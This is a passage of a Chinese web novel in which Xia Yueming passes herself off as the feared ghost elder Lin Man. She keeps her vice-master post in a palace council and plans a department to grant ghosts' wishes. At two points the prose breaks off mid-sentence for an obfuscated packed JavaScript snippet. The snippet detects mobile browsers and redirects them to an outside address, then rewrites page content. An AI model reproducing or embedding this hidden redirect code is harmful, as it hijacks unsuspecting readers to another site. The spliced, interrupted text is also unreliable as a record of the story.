他这一不客气,着实让小白不高兴了。他伸手将那鬼的头发一拽,把他脑袋提溜到自己面前,目光森寒,隐有杀气,冷声道:“她说什么,你照做便是。若敢动手,我就把你的头扔去山下,安在猪身上。” 护主的心情能让恋鬼实力加倍。 抱头鬼伸手去抢自己的头,发现自己不但个头上不占上风,力气上也不占,整个鬼瞬间就蔫了。 夏月明趁势冷声道:“你且去通报一声,若我是冒牌货,轩辕泓最多训你两句。若不通报,耽误了大事,我便吃了你!” 在小白的模范作用下,夏月明渐入佳境,最后一句总算有几分厉鬼该有的凶狠了。 那抱头鬼权衡了一下,忍气吞声应了声“好”。 小白手一松,把抱头鬼的头扔回了他的怀里,冷声道:“还不快去?” 抱头鬼连连称是,慌慌张张将头上的一只眼珠子扣了出来,放在门槛边继续看门,而后才抱着只有一只眼的头颅,晃晃悠悠跑向了内宅。 夏月明绕到眼珠子视线盲区,才悄悄松了口气。这一放松,整个身体瞬间就塌了下来,扶着墙才勉强站定。 …… 毕宿宫地下,议事厅。 烛火摇曳,鬼影齐聚。轩辕泓姿态闲散地靠坐在尊位的霸气王座上,目如寒潭,凝望众鬼。 在他座下左右两侧,各有两张雕刻华美的椅子,椅子间以茶水桌隔开,正是宫内长老座席。 右侧靠内,坐着一位紫衫男子,其人身形修长而单薄,慵懒地侧靠着茶水桌,不太合身的外袍领口半敞,正好露出好看的锁骨。如瀑的黑发随意披散,遮挡在白无血色的病态面容前,若非唇角那抹仿佛凝固在脸上的讥诮带出了几分邪气,倒也似个惹人怜惜的病美人。 正如他紫衣上绣的金色鸟纹,乍一看是金丝雀,细看却是几只乌鸦。 在他身侧,坐着一个申公豹同款发型的小男孩,约莫六七岁,身穿淡绿色锦衣,面容清秀可爱,肉嘟嘟的小手攥着袖子揉来揉去,一副乖巧拘谨的姿态。 但水汪汪的大眼睛却鬼鬼祟祟地转来转去,似在算计着什么。 左侧靠内的位置空缺着,靠外坐的是一名姿容绝美的女子。 其人身穿深蓝色广袖长裙,上坠翩翩彩蝶,流水般的长发在耳后恰到好处的位置挽成精致的发髻,虽只有一枚银簪固定,却别有一番内敛的雍容。 婀娜身姿充满风情,如画眉目妆点绛唇,妩媚曼妙,动人至极。 其余众鬼皆无座位,齐整恭敬地站在门前,静听轩辕泓发话。 他道:“前日,副宫主在岭山修炼时遭遇缉灵司伏击,神销魂灭。” 语气难辨悲喜,声音沉稳有力,如远山的呼唤,在厅堂中回响,激起满堂哗然。有惊叹的,有愤怒的,有自危的……却没有为副宫主消散而悲伤的。 轩辕泓从王座上站起身来,魁梧身姿自带威压,众鬼魂立刻敛声屏气,竖耳谛听。 他开口,从容道:“我闭关在即,宫中不可没有决策者,按照惯例,应从三位长老中选出。” 轩辕泓望向坐下三人,“三位长老,可愿自荐?” 蓝衣女子闻言站起身来,步态轻盈地走到厅堂正中,自信一笑,拱手请命道:“狸姝愿为宫主分忧!您闭关期间,我定竭尽全力,维护毕宿宫的安稳和繁荣。” 声音宛转悠扬,势在必得。 众鬼魂亦是面露喜色,看来是众望所归。 然她话音刚落,坐在她斜对面的紫衣男子也站起身来,慵懒地伸了个懒腰,道:“这就选出来也太没意思了。” 语罢,修长的手指轻抚衣襟,悠然道:“阿九也愿替宫主分忧。” 狸姝满不在乎地冷哼一声,显然没将他放在眼里。 轩辕泓眉心轻皱,看看狸姝,又看看阿九,随后将目光停在了坐在阿九身旁的小男孩身上。 小男孩一紧张,赶紧从椅子上跳下来,憋了半天高声喊道:“小草也愿替宫主分忧……我投狸姝姐姐一票!” 狸姝对他莞尔眨眼,小男孩美滋滋挠头。 很快,他又意识到什么,“啊”了一声,忙又对阿九道歉:“对不起,九哥哥……” 阿九满不在乎地坐回椅子上,笑着道:“无妨,这次你倒没选错。” 他对副宫主之位没兴趣,刚刚竞选,只不过想制造些波澜,找点乐子罢了。 轩辕泓不作声色,询问其他鬼魂:“众位,意下如何?” 众鬼魂齐声道:“属下愿举狸姝长老为副宫主!” 阿九把手一摊,打了个呵欠:“哎……更没意思了。” 轩辕泓沉吟一瞬,正欲宣布,静待结果的大厅内突然响起诡异的滚动声。 一个只有一只眼珠子的脑袋,骨碌碌从厅门前,路过众鬼魂身侧,滚到了长老座前。 轩辕泓眉心皱起,众鬼魂也都侧目看向那个脑袋。 原来是匆匆赶来通禀的抱头鬼。他到门口时摔了一跤,鬼未至,头先到了。 他赶紧惊慌爬 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那姑娘年轻美丽,怎么可能是鬼见愁的老妖婆呢? 厅内众鬼一时议论纷纷,神色各异。 狸姝面色惊惶,花容失色,连连摇头说服自己:“不可能,她明明被缉灵司……宫主亲自去确认过的。” 其余鬼魂也你一言,我一语,请求宫主下令诛杀骗子。 轩辕泓目色深邃,若有所思。片刻后,道了声:“是真是假,一问便知。” 随即化作黑色烟雾,消散不见。 大厅内鬼心惶惶,猜疑四起。 “那老妖婆不会真回来了吧?” “嘘,小心说话。” “别怕,我只说一点,她若真回来了,何须走正门?” “也是,她修为高深,和宫主一样,早已掌握了瞬间移形换位之法。” “可……谁又敢如此作死假冒她呢?” “莫非是阴冥堂那帮鬼东西耍的什么花招?” …… 耳听众鬼议论,狸姝更是心慌。此番林蔓被缉灵司伏击一事,是她幕后一手促成,林蔓一猜便知。 在毕宿宫,宫门内斗,你死我活都不算什么,可与外敌勾结,伤害门人却是大忌。 且先不说宫主如何惩罚,若是林蔓没被抹杀,以她睚眦必报的行事风格,势必不会放过自己。 一想到林蔓的各种毒辣手段,恐惧便如潮水般将狸姝淹没,她只能存有一丝侥幸,祈祷林蔓已死,宫外求见的,不过是个冒牌货而已。 毕竟除了缉灵司之外,她还在林蔓修炼的复颜术上也做了手脚,她非但不会练成,还会走火入魔,怎么可能以年轻貌美的容貌,再回归此处呢? 嗯,淡定,淡定,一定是假的…… 满厅鬼魂各怀鬼胎,惶恐不已,却唯有阿九欢欣雀跃,满怀期待,默默祈祷着与众鬼完全相反的心愿。 “老天保佑,一定得是林蔓啊。” 祈祷完又看见旁边的小草趴在椅子上,烦恼地猛拽头发,嘴里还喃喃道:“怎么办,要是林蔓姥姥回来了,两位副宫主,我该站那边啊?” 阿九心情大好,故意使坏道:“哼哼,要是让老太婆知道你支持狸姝,会怎么处置你呢?做成冰糖葫芦?或者……下油锅炸了?” “啊啊啊啊……怎么办怎么办……” 小草吓得魂体都虚了,像热锅上的蚂蚁般走来走去,随即钻到轩辕泓的王座底下,打算藏到林蔓消气再出来。 眼见厅内如此热闹,阿九甚是满足。他举目望向议事厅大门口,兴奋眯眼。 “终于,有意思起来了。” 14. 轩辕泓 轩辕泓来得比想象中要快。 夏月明正扶着墙壁做心理准备,一团黑色烟雾就出现在她身侧,转瞬间,便化成一位气势骇人的冷峻男子。 男子身材高大威武,五官深邃、目色冷冽,颇有一种睥睨六界、唯我独尊的气势。 对视瞬间,封存的记忆便如花海绽放般,在夏月明的脑海中逐渐鲜活起来。 与他相关的回忆,占据了老人所传记忆的三分之二。 她为他端茶送水、嘘寒问暖、缝衣制药…… 他对她置之不理、不胜其烦、百般推诿…… 但她丝毫不恼,仍将自己仅有的耐心和温柔毫无保留地交付于他。 除了母爱,夏月明想不到别的感情可以做到这种地步。 因而她心中更加确信,轩辕泓是林蔓的私生子。 带着一种“寒叶飘零洒满我的脸,吾儿叛逆伤透我的心”的凄婉,夏月明对着轩辕泓开口喊了声:“宫主。” 轩辕泓静静望着眼前女子,如潭黑眸中散发出令人透不过气的威压,仿佛要将一切谎言洞穿一般。 眼前女子约莫二十来岁,举止诡异,穿着简单的黑色长袍,面容清丽灵秀,黑发披散过肩,额前有一层薄薄的碎刘海。 别说与现在的林蔓,就是与他记忆中那个年轻的林蔓,也没有半分相像。 轩辕泓并未将怀疑表露出来,不动声色地问道:“你是谁?” 夏月明挤出一抹慈祥笑意:“我是林蔓啊。” 很努力在散发母爱了。 轩辕泓却不吃这套,神情依旧冷漠,“何以证明?” 夏月明从刚刚获得的众多记忆中,挑选了几件比较隐私的事情娓娓道来。 “五十年前的冬日,你听损友说人体温高,舔铁栏杆舌头会被粘住,但鬼体温低就不会,于是你偷偷尝试了一下……粘住了。是我用温茶帮你分开的。” “……”简单的讲述,令轩辕泓本就不明朗的帅脸上罩上了一层阴霾。 见他并未阻止,夏月明继续道:“四十年前你的寿辰,还是这位损友,说要送你美女,你说没有兴趣,他便自行领会,送了你两个极品恋鬼……都是男的。” “……”轩辕泓嘴角几不可见地抽动了两下,这两个恋鬼,他当场就转送给了林蔓。 “二十五年前,吞并了临边鬼城后,你瞧着他们身上各种纹路图腾非常霸气,便找人画出世间最凶猛的奇兽,请我帮你纹在背后。嗯……我拿错图纸,纹成了……一只哈巴狗。” 想到猛男结实的背部肌肉上,纹着一只憨态可掬、吹着鼻涕泡的哈巴狗,夏月明属实有些绷不住了,咬着牙才将话说完。 连站在她身侧的小白也忍俊不禁,不给面子地捧腹大笑起来。 轩辕泓额角隐有青筋跳动,从牙缝里挤出两个字来:“够了。” 让你证明,没说让你揭老底啊,还当着别鬼的面。 见他脸色阴沉得可怕,夏月明忙拽了下小白的袖子,两只鬼一并微笑抿唇,乖乖噤声。 轩辕泓望着举止和外形都与以往大不相同的“林蔓”,沉思了片刻后黑着脸道:“这两日你去哪里了?” 虽然难以置信,但夏月明说的几件事,确实只有他和林蔓知道,他不得不信。 夏月明诚实道:“我去给毕宿宫的大家,弄了点员工福利。” 轩辕泓:“嗯?” 夏月明自豪微笑:“毕竟我可是副宫主。” 轩辕泓:“……” 根据对林蔓的刻板印象,他自动将“福利”理解成了折磨下属的手段。 轩辕泓眉头轻皱,不悦道:“你往日心眼太小,不得魂心,现下出事又不早回,副宫主之位,就要易主了。” “啊?什么时候?” 反应过来他说的是“就要”而非“已经,”夏月明又忙补充问道:“定了吗?” “还没,正在选。” 夏月明松了口气,主动道:“那也算我一个吧,我也参与新任副宫主选拔。” “……嗯。”轩辕泓正欲用移形换影之法回议事厅,突然意识到“林蔓”状态不对,挑眉问道:“受伤了?” 夏月明扶着墙,心虚点头。 面对抱头鬼,她还能站直身体,但面对轩辕泓,不扶着墙根本站不稳,他身上鬼气太过强大。 既然他这么问了,她就借坡下驴,也省得再编别的借口,来解释自己为什么不用移形换影直接回宫了。 “缉灵司宵小,竟也有些本事。”轩辕泓冷笑一声,随即迈步上前,直接将夏月明打横抱了起来。 夏月明:? 小白:?! 这是夏月明长大后第一次被公主抱,而且是被一个身材样貌都绝佳的男人抱着。 但是她一点儿也不觉得浪漫,只觉得自己的魂体被吓得快要直接消散了。 就在这时,她耳边传来一句更令她恐慌的话。 “哪来的杂碎,跟我抢主人?还如此主动,趁虚而入,手段了得啊!” 夏月明瑟瑟发抖地转动僵直的脖子,朝声源望去,就看见小白拉着轩辕泓的手臂,一副“我怎么没想到呢,气气”的怨念表情。 夏月明不敢细看,闭上了眼睛。深呼吸平复心情后,才鼓起勇气睁开眼睛,小心翼翼看向轩辕泓的脸。 英俊的面容上怒意明显,还透着几分尴尬。 他原本别无杂念,只是顺手帮忙,被小白一说,显得他好像心思不纯一样。 关键是在小白触碰他的瞬间,他识别出小白是恋鬼了。被一只以取悦主人为使命的恋鬼这样说,好像自己在同他争宠一样,着实令鬼火大。 轩辕泓眼睛一眯,斜眼看向小白。 夏月明感觉到他起了杀意,忙轻推他结实的胸膛,示意他将自己放下,慌张道:“孩子不懂事,你不要跟他一般见识,我能自己走。” “……” 轩辕泓沉默一瞬,不再坚持,放低胳膊让夏月明站好,意有所指地冷笑道:“看来修行的这些时日,你过得挺快活。连我先前转送于你的恋鬼都用上了。” “……”夏月明不知如何解释,索性低头不言。 小白察觉他话中并无善意,张开双臂将夏月明护在身后,面上露出呲牙小狗般凶巴巴的表情,充满威胁地瞪着轩辕泓。 轩辕泓愈发生气,但送给别人的礼物,自己又不好再做处置,愤愤地“哼”了一声,对夏月明嘲讽道:“倒是忠诚。那我也不必白费力气,议事厅等你。” 说罢扔给夏月明一块令牌,化作黑色烟雾离去。 夏月明再也支撑不住,蹲坐在地。 虽然小白似乎是触怒了轩辕泓,但歪打正着给她更多喘息之机,也不算坏事。 自知一时冲动妨碍了夏月明,小白乖乖在她面前弯下了腰,以半蹲之姿背对着她,歉疚道:“主人,我背你进去。” 虽然夏月明不曾明说,但他通过这两日与她的相处,大约也看懂了她遇鬼腿软的毛病。 状态不佳,夏月明也不硬撑,道了声“谢谢”后站起身来,将手搭在了小白肩上。 来自主人的触碰令恋鬼小白身心愉悦、力量大涨。他唇角带笑站直身体,道:“坐稳了。” 推开大门,一阵鬼气扑面而来,小白明显能感觉到主人身体的颤抖。心疼之余,还有一种被主人依赖的满足感,和与主人肌肤相贴的异样酥麻。 他沉浸在无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866739|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上快乐中,夏月明沉浸在无尽恐惧中,不到一刻钟,二鬼便来带了议事厅外。 因为令牌的原因,一路上并没有鬼拦她。 夏月明从小白背上下来,试图自己走入议事厅中。 刚一落地,就听见厅内传出百鬼齐鸣的声音,吓得又缩回了小白背上。 在这满是厉鬼的深宅之中,想要自己行走,短期内是不可能了…… 此刻的议事厅内,众鬼魂享受着最后的狂欢。 一刻钟前,宫主黑着脸,独自回来了。 几番合理推测之后,他们确定了,门外那个林蔓是假的,八成已经被轩辕泓吞掉了。 狸姝笑眼盈盈,试探着问轩辕泓:“宫主,门外真是蔓姐姐吗?” “……” 轩辕泓并未回应,出神地想着另一个问题。 抱头鬼留在门外的那颗眼珠子,是否能读懂唇语呢? 方才“林蔓”说了他那么多秘密,那个恋鬼也说了莫名其妙的话,要是被他知道了,可是大大不妙啊。 虽然这个抱头鬼嘴巴还算严实,但无奈他们宫里头有个超级八卦的阿九,看他现在就盯着抱头鬼一副迫不及待的样子就知道,散会后他肯定会第一时间去套话。 这抱头鬼,能抵抗住他的那些八卦手段吗? 这样想着,轩辕泓狠狠瞪了抱头鬼一眼以示威胁。 敢说出去的话,你就完蛋了。 被两位大佬盯上的抱头鬼瑟瑟发抖,非常后悔自己当年没选择直接跟黑白无常去地府投胎了。 这一眼,也给众鬼魂尚有猜疑的心里敲下了实锤。 他们十分确信门外是假冒的副宫主,不然宫主为何怒视抱头鬼呢? 还不是责备他不好好考察访客身份,害他白跑一趟? 于是在狸姝的带领下,除阿九之外的所有鬼魂齐声作揖,欢天喜地地对轩辕泓道了声:“节哀!” 轩辕泓气呼呼拍了下椅子。 可恶刚才怎么没有揍那个恋鬼一顿?忍一时越想越气。 众鬼魂悚然一惊,见轩辕泓再无其他动作,才又欢天喜地地放下心来。 级别稍高一些的鬼魂,已经默默给狸姝传音,恭喜她当上副宫主了。 狸姝春光满面,顾盼生辉,一一回应眼神致谢。 小草趴在椅子下,终于松了口气。 阿九失望扶额:“没意思,太没意思了。” 狸姝整理发型和衣衫,准备当场就任。 便在此时,门口响起一声清亮高呼—— “副宫主驾到!” 众鬼魂一脸懵然。 又来? 刚才是抱头鬼通报副宫主在门外求见,这会儿好家伙,直接驾到了。 狸姝更是怒不可遏,转身向门,正欲宰了再次妖言惑众的造谣鬼。 愤怒目光撞上的,是一位俊逸出尘、优雅绝伦的美男子,和缩在他背上鬼鬼祟祟、看不清面容的黑袍女子。 男子白衣银发、神采奕奕,绕开一众小鬼,朝着厅内走来。 女子自带倒霉黑气,似是男子路上捡来的遗弃包袱一般……着实有些煞风景了。 狸姝怒声轻呵:“何方小鬼闯我宫门?来人,把他们拿下!” 手下听令动手,刚摆起架势,就看到夏月明将宫主令牌缓缓举起,一时都定在了原处。 狸姝惊疑,回身望向轩辕泓求解。 轩辕泓站起身来,淡淡道:“欢迎副宫主回宫。” 全场大骇。 原本垂头丧气的阿九,似是垂死病中惊坐起一般抬起头来,望着瑟缩在美男背上的夏月明两眼放光,欣喜若狂地大力拍掌道:“有意思,太有意思了!” 15. 副宫主……更可怕了 在宫主闭关的这一…… 小白背着夏月明款步前行,一直走到长老席位。 在场众鬼都不敢相信这年轻且貌似弱势的女子,竟然就是那个令他们恨得牙痒痒,却屁也不敢放一个的老妖婆林蔓。 但以宫主对林蔓的了解,他说这女子是林蔓,便没有鬼再敢质疑。 行到长老席位时,夏月明在小白耳边低声道:“把我放在那个位置。” 记忆中林蔓每次开会就坐在那里。 轻柔气息打在耳畔,令小白的身体不自觉战栗了一下,他的耳朵瞬间变红,连呼吸节奏都紊乱了。喉结一动,哑声应道:“嗯。” 随后屈膝弯腰,动作轻柔地将夏月明放在了椅子上。 虽然夏月明是因为腿软站不起来,无奈之下才直接坐到椅子上的,但是根据大家对副宫主的了解,这一行为反而符合她漠视一切,唯我和轩辕泓独尊的个性,正好坐实了她的身份。 她越嚣张,鬼越慌张。 小白站在夏月明身侧,漠视众鬼,冷声道:“怎么都不吱声,不欢迎副宫主吗?” 冷汗岑岑的一众鬼魂也顾不上追究他是谁,急忙高举手臂,就要行礼。 狸姝气急,这帮鬼刚刚还在恭喜自己! 她做了那么多事情,已然和林蔓撕破了脸,如果现在让步,就是满盘皆输,下场定然很惨。 副宫主之位她必须得到! “慢着!”在众鬼正要开口高呼之际,狸姝出声打断。 众鬼魂维持着行礼的姿势斗胆噤声,把心提到了嗓子眼儿。 狸姝朝前迈了两步,与夏月明位置齐平,对轩辕泓拱手道:“宫主,您忘了吗?我们刚刚已经选出了新的副宫主。” 轩辕泓略一沉吟,道:“本座并未宣布。” 夏月明对轩辕泓投以慈爱欣赏的目光。虽然叛逆,但这孩子还是孝顺的,知道偏向母亲。 狸姝哑然一瞬,继续微笑道:“宫主刚刚确实被守门奴打断,还未来得及宣布,但在此之前,宫主不是让大家投了票吗?轻易作废,未免令大家寒心……” 轩辕泓冷笑一声:“威胁本座?” 狸姝急忙下跪:“宫主明鉴!属下并无此意……只是属下跟随您已有四十余载,本以为终于可以得您赏识,为您尽一份力,现下却是一番乌龙……属下着实惋惜,着实痛心!” 另有不愿再屈服于林蔓统治的鬼也鼓起勇气,附和道:“是啊,狸长老对毕宿宫的付出,我们都看在眼里,且刚刚选举之时,小长老不也说支持狸长老吗?两位长老都有此心,若是辜负了,总觉遗憾呢,是吧小长老?诶?小长老呢?” “刚刚还在啊……”众鬼魂疑惑抬头,窃窃私语。 躲在王座下的小长老已然满身大汗,抖如筛糠。 轩辕泓很快就察觉到了他的存在,毕竟他的王座也不是按摩椅,没有抖动功能。 他心知众鬼魂对林蔓的恐惧,叹了口气,道:“罢了……” 话未说完,就被小白打断了。 他见夏月明状态不太好,便想为她争取时间。款步前行,站于狸姝身侧,学着狸姝的样子拱手道:“禀宫主,属下以为,副宫主当选能力出众者才是。若大家都如此感性,不问能力只论感情,何必占山头,当鬼王呢?直接去民间找个学堂,同里面的孩童一起玩过家家,岂不美哉、妙哉、谁也不会辜负哉?” 举止清雅得体,让轩辕泓觉得更加碍眼。 狸姝气得咬牙捏拳,怒目瞪着小白,冷声叱道:“你是什么东西?毕宿宫大事,岂有你插嘴的份儿?” “就是。”众鬼魂小声附和,言语间尽是嘲讽与鄙夷。 夏月明状态已稍有缓和,听见他们议论小白,语气不悦地道:“他是我前天新招的贴身护法,代我发言有何不妥?邱堂主方才不还替你发言了吗?” 邱堂主心里咯噔了一下。毕宿宫无鬼不知,这老妖婆最是记仇,这是在点他呢。 狸姝听罢冷笑道:“邱堂主是宫主亲封的堂主,这来路不明的野鬼怎能与他相提并论?” “野鬼?宫主封的堂主作数,怎么副宫主封的护法就不作数了呢?别忘了,前天你们可还没闹这一出,我仍然是副宫主。” 轩辕泓黑脸,但并未拆穿小白身份。 狸姝一时语塞。夏月明继续道:“而且选拔新任副宫主的前提是我没了。现在我还在,这选拔就不成立。” 她不是非要和她争,但根据林蔓的记忆来看,此鬼很有可能是陷害林蔓的幕后黑手,如果副宫主之位让她当了,那夏月明别说炼魂了,连这最后一缕残魂能不能保住都难说。 而且有副宫主这个身份在,她在毕宿宫渡起魂来也会方便很多。 眼见夏月明占了上风,其他几位堂主不禁又想起了被林蔓支配的恐惧。他们互相对视一番,竟抱着拼死一搏的心态,一同站出来挺狸姝。 双方僵持不下之际,夏月明才适时退让,提出了自己原本的诉求。 “既然几位堂主这么支持狸姝,那这样吧,我也给她一个机会。一个月后,宫主出关时,我们再进行新副宫主的选拔,到时我和她都算候选人,大家投票选举,如何?” 一个月,正是她与阎王约定的时间。 她自以为是让步的举动,却让众鬼魂更加惶恐。 他们记忆中的老妖婆是绝无可能让步的。因此她这样一说,众鬼魂便以为这是她给他们下的死亡通牒。 ——在宫主闭关的这一个月,看我把你们全部灭口! “万万不可啊!”“宫主救命!” 众鬼魂纷纷哭喊,求救般望向轩辕泓。 轩辕泓也以为林蔓是在威胁大家,面色不悦,正欲开口训斥,便见夏月明站起身来,缓缓走到了列阵厅前的众下属面前。 小白急忙上前扶住夏月明。 林蔓带给众鬼魂的惊悚,与他们带给夏月明的恐惧,竟意外持平,在两者不断缩短的距离中,凝结成逐渐浓稠的压力,令双方都越来越喘不过气。 夏月明停在邱堂主面前,掐住小白的手,努力使自己的声音不那么颤抖,冷声道:“邱堂主,当初你背叛自己的组织,险些被你们教主当场撕碎,可还记得,是谁救了你?” 邱堂主:“……” 夏月明又前行两步,停在另一只女鬼面前,道:“梁堂主……你被负心人所害,誓要报仇,是谁助你修炼,破了对方道行?” 梁堂主:“……” 夏月明继续缓缓移步,每看清一个鬼的样貌,与之相关的记忆就会苏醒。 毕宿宫是轩辕泓与林蔓一同创立,不管后面的日子如何煎熬,他们入宫时多多少少都受到过林蔓的恩惠。 她便语气淡淡,把苏醒的记忆描述出来,反问那只鬼。 希望他们想起林蔓恩惠的同时,愿意再给她一个月的机会。 这看似死神大点兵一般的举动,令众鬼难得积蓄的勇气瞬间瓦解,一问一个不吱声。 被点过名的瑟瑟发抖,越想越怕,没被点到的汗流浃背,紧闭双眼,心里默数:“到我了到我了……” 夏月明将厅前众鬼一一识别后,心里大概列出了一个可以渡化的名单。 往回走时,才注意到抱头鬼正跪在这里,便止步点名:“抱头鬼……” 抱头鬼大气也不敢喘,被排在最后一个,着实太过遭罪。前面她每点一个名,抱头鬼心里就多一份恐惧,积聚到现在,已然快要承受不住,吓得魂体有些飘忽。 但夏月明仔细回忆了一番,还是没有想起与他相关的半点记忆,便微笑道:“谢谢你帮我通禀。” 被恐惧包裹的抱头鬼已经听不清她在说什么,只听她话音落下,便再也支撑不住,吓晕了过去。 “……”夏月明无辜又心疼。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866740|176169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小白搀扶下,夏月明坐回原位,侧头望向众鬼,道:“大家意下如何?是否同意我的建议,一个月后再行选拔呢?” 见她敢当着宫主的面对大家挨个进行威胁,众鬼魂再无勇气反抗,乖乖躬身行礼,齐声道:“属下没有异议。” 夏月明见状不自觉露出一抹放松笑意。 虽然她的本意与众鬼魂的实际理解有误差,但也算……殊途同归把。 阿九看热闹不嫌事儿大般鼓起掌来,邪气地笑着看向夏月明,意有所指道:“果然毕宿宫得有蔓姥姥在才有意思。而且……复颜术大成后的蔓姥姥,好像越来越有意思了~” 眼见大势已去,狸姝惊慌不已,竟前行几步,跪在了轩辕泓脚边,扬起一张楚楚可怜的面容来,恳求道:“宫主!她竟敢当着您的面威胁大家,您不在的时候,更不知会做出什么!请宫主三思啊!” 方才“林蔓”恐吓下属时,轩辕泓本是十分厌恶的,当下便决定给她些警告。 但林蔓落座时的轻松笑容令他恍惚。 他曾在她脸上见过这样的神情吗? 思忖片刻,轩辕泓站起身来,朝前走了两步道:“既然大家都无异议,就按副宫主说的办吧。” 狸姝心灰意冷,原本姿态挺拔的背影轰然塌了下来。 轩辕泓又道:“在本座闭关期间,林蔓仍是副宫主,一切大小事务都听从她的处置。为免权力滥用,现任命狸姝为监事长老,在本座闭关期间,监管宫内的一切决策与行事,待本座出关后一并汇报。在此期间,她不必听令于副宫主,一切等本座出关再言。” 狸姝泪光闪烁的眼眸中重现光彩,轩辕泓这番话就是给她的保命符。 她满怀感激,对轩辕泓道:“多谢宫主!宫主请放心闭关。” 夏月明也也听出了轩辕泓话中之意,但她并不在意。 毕竟当下她是打算干一个月就跑路的。 她撑着桌角站起身来,行礼道:“请宫主安心闭关!” 众鬼魂闻声也一齐行礼,高声道:“请宫主安心闭关!” 大事既定,轩辕泓又望了夏月明一眼,一甩袖袍,化作黑雾离去。 众鬼魂等待着副宫主令言,但夏月明已耗尽心力,再也无法应对他们,便挥了挥手,让他们先行告退了。 狸姝自然也不想和她多待,冲她冷哼一声,随着众鬼魂离厅。 偌大的议事厅中,只余夏月明、小白、阿九三只鬼,以及王座下瑟瑟发抖的第四位小长老。 见阿九没有挪步,夏月明抬起眼皮问道:“有事?” 阿九眯起眼睛打量着夏月明,探究的目光令夏月明不适皱眉。 小白向前迈了一步,拦在二鬼中间,目色森寒地将阿九的目光拦了回去,冷声道:“这样盯着美女看,很不礼貌。” 阿九收回目光望向小白,忽而眉眼弯弯大笑起来,道:“有意思,她有意思,你也有意思,我喜欢!” 小白愠怒,气呼呼道:“不许喜欢她!” 阿九挑眉一奇,道:“蔓姥姥新找的情人吗?我以为她只喜欢……”话说了一半又打住,摆摆手道:“罢了罢了,今日戏已看够,攒到下次吧。” 说完迈步朝厅门走去,走到一半又止步回头,望向王座底下眯眼笑道:“小草,我可要走了,再不出来,蔓姥姥要单独找你叙旧了。” 话音刚落,铺在王座上的兽皮动了动,随后一个圆乎乎,还长着几根草状辫子的小脑袋探了出来,东望望,西瞅瞅,疑惑道:“蔓姥姥呢?走了吗?” 不见印象中的可怕面容,他松了口气,从椅子下爬了出来,抱怨道:“九哥哥,你又吓唬我!诶?这位美女姐姐是谁呀?” 小草新奇地跑到夏月明跟前,一脸天真地歪着脑袋将她望着。 随即便听见阿九故意坏笑着道:“她就是你刚刚背叛过的蔓姥姥啊。” 16. 心愿部创立 小草疑惑地看着夏月明和善的面容,怎么也无法将她和记忆中那个可怕的老妖婆联系起来。 见夏月明身体僵直,小白再次上前,拦在小草面前蹲下,挤出一个自以为亲和但实际很吓人的笑容来,柔声道:“臭小孩,刚刚不是说了吗?一直盯着美女看,很不礼貌哦。” 吓得小草惊声尖叫,猛然后退,跌倒在地。 他刚刚在王座底下听见了,这个声音是蔓姥姥的护法的。 那么他旁边那个看起来温柔善良的美女姐姐,果然就是——可怕的蔓姥姥! 小草小脸煞白,拖着屁股往后滑了几步后,赶紧爬起身来,趁“蔓姥姥”不备一溜烟跑没了影儿。 好戏落幕,阿九一副圆满了的表情,欣然离场。 阴暗寒冷的议事厅重归寂静,夏月明缓了好久才能站起身来。 她发现自己的适应能力提升了许多,此番在议事厅所面对的,是毕宿宫能力靠前的所有高层和中层。要是刚来这个世界,她肯定会直接被吓晕。但是经过前几天的经历,和门口直面轩辕泓的铺垫,她竟可以冷静地坐在此地这么久,还与他们周旋了一番。 看来这直面恐惧的脱敏疗法对她十分有效,想来要不了多久,她在毕宿宫就可以行动自如了。 思及至此,夏月明脸上挂起笑意,对小白道:“回去吧。” “嗯。”小白蹲身要背,夏月明道:“不用,我自己走。” 小白在她身侧护着,见她确实可以行走,才放下心来,与她并肩同行。 熟悉的夹子音自夏月明另一侧耳畔响起。 “你是真出息了。我还以为你进来就会被撕碎,正给自己琢磨下家呢。” 夏月明并未理会,一边走,一边规划着接下来一个月的行动。 “小白,我打算在这里成立一个心愿部,来为有执念的魂完成心愿,渡化他们。你愿意和我一起吗?” 鬼魂渡化鬼魂的概念,对这个世界的鬼魂来说还是过于超前了。但小白仍是什么也没问,微笑应道:“好。” 夏月明继续道:“那我当部长,你就是副部长。现在可能没有什么报酬,等于打白工……不过我会利用副宫主的职权,给你一些福利。一个月后,我们正式签约,定工资,如何? 小白笑眼弯弯,“幸甚矣,何乐不为?” 他并不在乎什么报酬,但若主人可以更依赖他一些,于他而言已是最大幸事。 记忆触景而生,夏月明又想起了更多关于毕宿宫的事情。 行至后花园,她停下脚步,前行几步,对系统道:“系统,你可以帮我感受一下,地下是否有鬼吗?” 系统不情愿地哼唧了两声,还是照做了。 两分钟后,回报道:“有,不比刚刚开会时少。” 夏月明了然一笑。在林蔓的记忆中,属下曾跟她汇报过,花园地下有一处暗室。彼时林蔓忙着研究复颜术,并未当成一回事儿。 现在看来,那里便是狸姝联络众堂主,和他们私下开会的地方。 系统谨慎道:“要去听一下吗?他们刚开完会就直奔这里,肯定是在商量什么针对你的办法。” 夏月明摇头:“不必,我也得赶紧行动了。” 这时,一直站在夏月明身后的小白忽而轻拍了一下她的脖子。 夏月明不解:“怎么了?” 小白疑惑道:“刚刚这里好像有只苍蝇……不过现在又没有了。” 